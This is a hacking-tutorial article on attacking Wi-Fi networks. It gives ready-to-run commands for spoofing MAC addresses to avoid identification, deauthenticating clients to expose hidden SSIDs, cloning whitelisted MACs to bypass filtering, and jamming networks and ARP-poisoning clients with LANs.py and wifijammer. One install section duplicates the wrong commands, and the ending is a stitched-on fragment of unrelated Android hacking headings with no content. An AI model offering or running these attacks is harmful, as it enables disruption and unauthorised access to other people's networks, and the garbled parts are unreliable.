4 best tricks for hacking WIFI networks
A lot has been written about hacking WIFI. But this is such a vast and interesting topic that there is always something new to say about it. After all, hacking WIFI is the beginning of almost all hackers))) So today, we have collected for you 4 best methods of hacking WIFI networks. These methods will help you work more efficiently in your pentests!
1. Change and automatic generation of a new MAC address upon a new connection to Wi-Fi
MAC (Media Access Control) is a unique identifier issued to each unit of active equipment (that is, a network adapter, router, switch, and so on) or some of their interfaces.
The MAC is stitched into the hardware at the time of manufacture and is used on the network to identify the sender and recipient of a frame. It is assumed that when a new device appears on the network, the administrator does not have to manually set the MAC for it.
Scheme of the structure of a six-octet MAC address.
The MAC is unique (or at least should be) for each network interface. At the same time, a device may have several of them - for example, laptops have at least two of them: one for the controller for a wired Ethernet connection, the second for the Wi-Fi adapter. For a router or a switch, the addresses are unique for each port, and if it is a Wi-Fi router, then the addresses for each wireless interface will differ (for modern routers, these are 2.4 GHz and 5 GHz).
Why Change MAC?
MAC allows you to uniquely identify the device and does not change when you change the operating system - it is flashed into a microcircuit that provides a network interface.
Penetration testers and hackers hide their MAC to prevent identification of the equipment during an attack. I think you understand why this might be needed: if you use a real MAC, then it can be flashed when connected to other networks. There are also tools for mapping MAC with geographic coordinates - for example, the iSniff-GPS script from the Kali suite.
Practice
So, let's say you are using Linux. Let's see how to change MAC without using additional programs.
Open a terminal and enter the command
If you are using Ethernet, then you can see the addresses of the adapters like this:
To temporarily change your MAC, you need to turn off the corresponding network interface. For example, for interface eth1, the command would be:
Now you can create a new MAC.
Code:
$ ifconfig eth1 hw ether 00: 00: 00: 00: 00: 11
As you can imagine, you can substitute any numbers into this template.
Now eth1 needs to be brought up again
And the last thing - you need to check if the changes have taken effect. If you look at the MAC list again, you will see that the interface has changed. However, after restarting the computer, the old MAC value will return.
It would be convenient if the MAC changes every time you connect to the network. The
NetworkManager package will help us with this . Since version 1.4, this program supports MAC spoofing, and it has many useful options.
For each group, "wired" (ethernet) and "wireless" (wifi) MAC rules are configured separately.
Also remember that a wireless adapter can be in one of two states:
- scan - set using the property wifi.scan-rand-mac-address. By default yes, that is, during scanning, an arbitrary MAC address will be set. If you choose no, this will not happen;
- connected to the network - set by the property wifi.cloned-mac-address, by default its value is preserve.
For the wired interface (property ethernet.cloned-mac-address) and the wireless interface in the connected state (wifi.cloned-mac-address), the following options are available:
- explicitly specified MAC - that is, you can set your own permanent MAC;
- permanent - use the MAC address embedded in the device (by default);
- preserve - do not change the MAC of the device after activation (for example, if the MAC was changed by another program, then the current address will be used);
- random - generate a random value for each connection.
NetworkManager is configured via a file /etc/NetworkManager/NetworkManager.conf. Alternatively, you can add an additional file with the .conf extension to the directory /etc/NetworkManager/conf.d(the config can be called whatever you like). I recommend the second method, because when you update NetworkManager usually replaces the main .conf, and if you make changes to it, they will be lost.
Turn on automatic generation of random MAC addresses
If you want the MAC address to be changed every time you connect, but the same MAC was used when connecting to the same network, then you need to add a couple of lines to the config. Here they are:
Code:
[connection]
ethernet.cloned-mac-address = stable
wifi.cloned-mac-address = stable
Properties ethernet.cloned-mac-addressand wifi.cloned-mac-addresscan be set individually or together.
You can check the values by typing ip a, and for the changes to take effect, you need to restart NetworkManager:
Code:
$ sudo systemctl restart NetworkManager
Now connect to the wireless network and check the MAC values again.
The same addresses will be generated for the same networks. If you want the addresses to be always different, the settings will be as follows:
Code:
[connection]
ethernet.cloned-mac-address = random
wifi.cloned-mac-address = random
Install a specific MAC
Let's say we need to use a specific MAC. To do this, we will reign again /etc/NetworkManager/conf.d/mac.conf.
To set the MAC for the wired interface, add the following lines:
Code:
[connection]
ethernet.cloned-mac-address = <new MAC>
To set the MAC for a wireless connection - these are:
Code:
[connection]
wifi.cloned-mac-address = <new MAC>
Instead <NEW MAC>, of course, you should write the desired MAC address. And of course, you can configure the settings for wired and wireless connections at the same time.
Please note that using this method, the MAC will only change after you connect to the network. Before that, the interfaces will have their source addresses. An exception might be Wi-Fi if you've already configured spoofing as shown above. To cancel spoofing, add the following lines to the config:
Code:
[device]
wifi.scan-rand-mac-address = no
More ways to programmatically change MAC
Not only NetworkManager can change MAC. In fact, there are many ways to do this using both third-party programs and system services. To keep track of the results, change the NetworkManager settings:
Code:
[device]
wifi.scan-rand-mac-address = no
Now it will not spoof MAC while scanning wireless networks.
Since the NetworkManager is not configured with ethernet.cloned-mac-addressand wifi.cloned-mac-address, the default value ( preserve) will be used , even if the MAC has been changed by other programs.
I will continue to run the examples in Kali Linux and change the settings for the Wi-Fi adapter. The peculiarity of all these methods is that the changes will be lost after a system reboot or after reconnecting the adapter.
Changing MAC with iproute2
We will use the ip program which is included in the iproute2 package. Let's start by checking the current MAC:
At the exit, after the words, link/etheryou will see the MAC address. First of all, turn off the corresponding interface. I have this wlan0.
Code:
$ sudo ip link set dev wlan0 down
Next, we go directly to MAC spoofing. You can set any value, but remember that the network can be configured so that addresses are not issued if the MAC does not match the device of some well-known manufacturer. Therefore, it is better to take a known prefix as the first three bytes and change only the second three bytes.
To change the MAC, execute the command
Code:
$ sudo ip link set dev <interface> address <MAC>
Substitute your values.
The final step is to return the interface to the up state:
Code:
$ sudo ip link set dev <interface> up
Well, to check the changes, you can write
Code:
$ ip link show <interface>
The value link/ethershould be the same as you set.
Change MAC with macchanger
Another option is to use the macchanger program. Here it is possible to create a MAC like the equipment of a certain manufacturer, and completely randomize it. Kali has this utility by default.
At the time of changing the MAC, as with other methods, the device should not be used, so turn it off:
Code:
$ sudo ip link set dev <interface> down
Further, I will have wlan0 as an interface, change it to your own if necessary.
To find out the MAC values, you can run the utility with the option -s:
Code:
$ sudo macchanger -s wlan0
As a result, it will give out the current MAC and the one that is stitched in the device (in case they do not match), and also indicate the vendor. For instance:
Code:
Current MAC: 00: c0: ca: 96: cf: cb (ALFA, INC.)
Permanent MAC: 00: c0: ca: 96: cf: cb (ALFA, INC.)
To change the MAC to a completely arbitrary address, there is an option -r:
Code:
$ sudo macchanger -r wlan0
At the output, a new address is added to the two lines above.
To randomize the MAC without changing the first three bytes (manufacturer prefix), there is an option -e:
Code:
$ sudo macchanger -e wlan0
Well, if you want to set a new MAC yourself, use -m:
Code:
$ sudo macchanger -m <MAC> wlan0
<MAC>Substitute the address you want instead .
Finally, to revert to the original MAC there is an option -p:
Code:
$ sudo macchanger -p wlan0
2. Discovery of hidden SSID
Some owners of hotspots configure them so that they do not broadcast their name (ESSID). This is usually done as an additional security measure. Users will not see such a network in the list of available ones, and to connect, they need to type in the name manually.
This is a weak protective measure, because at certain times the ESSID is still broadcasted in clear text.
Getting the hidden SSID with Airodump-ng
You can catch the ESSID on the air during the client's connection, and for this you need to either wait until this happens naturally, or force the process by disconnecting everyone from the access point. This is called deauthentication. Clients that have lost connection will automatically start reconnecting, and the network name will slip through in clear text.
The first step is to run airodump:
Code:
$ airodump-ng <interface>
When it fires up a new network, you will see the BSSID, name length, and channel used. For example, if the network operates on the first channel, we indicate it:
Code:
$ airodump-ng wlan0 --channel 1
In the same way as when intercepting a handshake, you can specify a key -wfollowed by a file name prefix. Capturing the handshake does not interfere with identifying the hidden point. Then you can either just wait for someone to connect, or deauthenticate all clients:
Code:
$ aireplay-ng -0 3 -a <BSSID> wlan0
Here -0means bulk deauthentication, 3 is the number of packets sent.
The result will come almost instantly, and you will see a line with the full name of the hidden access point.
3. Bypassing MAC filtering by borrowing an address from the whitelist
Airodump-ng will again help us with this task. We put the adapter into monitoring mode and execute the following commands:
Code:
$ ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up $ airodump-ng wlan0
You will see a list of networks, the number of connected clients and their MAC addresses that can be assigned to your adapter, if the network is configured with white list filtering.
It also happens that clients are not immediately visible at certain access points, since the program has not collected enough information. In this case, again, deauthentication will help you. If the hotspot has at least one client, you will see it immediately after reconnecting. And at the same time, you can intercept handshakes.
To deauthenticate, stop Airodump-ng and start it again, only with the indication of the channel of the point of interest to us.
Code:
$ airodump-ng wlan0 --channel 1
After that, send deauth packages and see what happens:
Code:
$ aireplay-ng -0 5 -a <MAC> wlan0
After the attack is complete, some of the previously unknown clients will be exposed. Copy the MAC of one of the legitimate users, write it down in the settings of your network card - and you can carry out a deliberate attack.
4. Jamming the Wi-Fi network
During a penetration test, it is sometimes necessary to drown out some of the access points. For this, I recommend using the
LANs utility. She knows how not only to jam Wi-Fi, but also other things: it spies on users, individually poisoning the ARP tables of the target machine, router and, if necessary, DNS server.
The jamming range strongly depends on the power of the adapter, but the script has settings that allow you to jam everyone or just one client. Everything is simple here: download and install dependencies and download the script itself.
Code:
$ sudo apt install -y python-nfqueue python-scapy python-twisted nbtscan
$ git clone https://github.com/DanMcInerney/LANs.py.git
$ cd LANs.py/
Now you can run our script to start jamming.
Keys -uand -pmean active detection of the target for ARP spoofing and output of all interesting unencrypted data that they send or request. -ipThere is no option here, so an ARP scan of the network will be performed and its results will be compared with the results of the live "promiscuous" capture. The result will be a list of all clients on the network.
Press Ctrl + C to stop searching when you build a network map and look at the lists of connected clients. For the same purposes, by the way, you can use Nmap successfully.
The spot jamming option will look like this:
Code:
$ python lans.py --jam --accesspoint <Router MAC> -s <MAC to pass>
Here:
- Jam — jam all or some 2.4GHz wireless hotspots and clients within range; if necessary, additional arguments can be used along with this (below);
- s - this is how you can set a MAC that will not be deauthorized;
- Accesspoint - here you can enter the MAC of a specific access point that will act as a target.
Jamming all Wi-Fi networks will look like this:
Jamming only one access point:
Code:
$ python lans.py --jam --accesspoint <BSSID>
Here, too, you can set some additional options:
- ch - limit jamming to one channel;
- Directedonly - do not send deauthentication packets to broadcast addresses of access points, but only to pairs from the client and hotspot;
- Accesspoint - this is how you can specify a specific access point as a target.
Another effective script for jamming Wi-Fi
It can be convenient to use the
wifijammer utility to jam Wi-Fi. It is extremely easy to use, so there is almost nothing to discuss here: without parameters, it will simply drown out everything that it finds in the range of the adapter. In order not to hurt your own, you can exclude some MAC addresses with the option -s.
Install wifijammer:
Code:
$ sudo apt install -y python-nfqueue python-scapy python-twisted nbtscan
$ git clone https://github.com/DanMcInerney/LANs.py.git
$ cd LANs.py/
And run:
Code:
[sudo python2 wifijammer.py -s <MAC for exception>
That's all! I hope you found something new and interesting among the features I showed you and it will be useful to you in your work.
www.backtrack-linux.org
ʀᴇϙᴜɪʀᴇᴍᴇɴᴛs 
sᴛᴇᴘs ᴛᴏ ɪɴsᴛᴀʟʟ ʙᴀᴄᴋᴛʀᴀᴄᴋ & ʜᴀᴄᴋ ᴡɪғɪ ᴏɴ ᴀɴᴅʀᴏɪᴅ
ᴀғᴛᴇʀ ɪɴsᴛᴀʟʟɪɴɢ ʙᴜsʏʙᴏx ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ᴏᴘᴇɴ ɪᴛ ᴀɴᴅ ᴡᴀɪᴛ ᴜɴᴛɪʟ ɪᴛ ғɪɴɪsʜᴇs ʟᴏᴀᴅɪɴɢ ᴀɴᴅ ᴛʜᴇɴ ᴄʟɪᴄᴋ ᴏɴ sᴍᴀʀᴛ ɪɴsᴛᴀʟʟ ʙᴜᴛᴛᴏɴ ᴏғ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ.
Create Wordlists For Attack
Scanning For Targets
TIP: Use the usb men female cable for long cable and open your window and hold out your WiFi Dongle USB. Now wait a while, I live in a good neighborhood I got after about 10 minutes about 50 networks, at least it is worth waiting here. Best is to hold the USB somehow at the open window.
Getting Handshake
Cracking Handshakes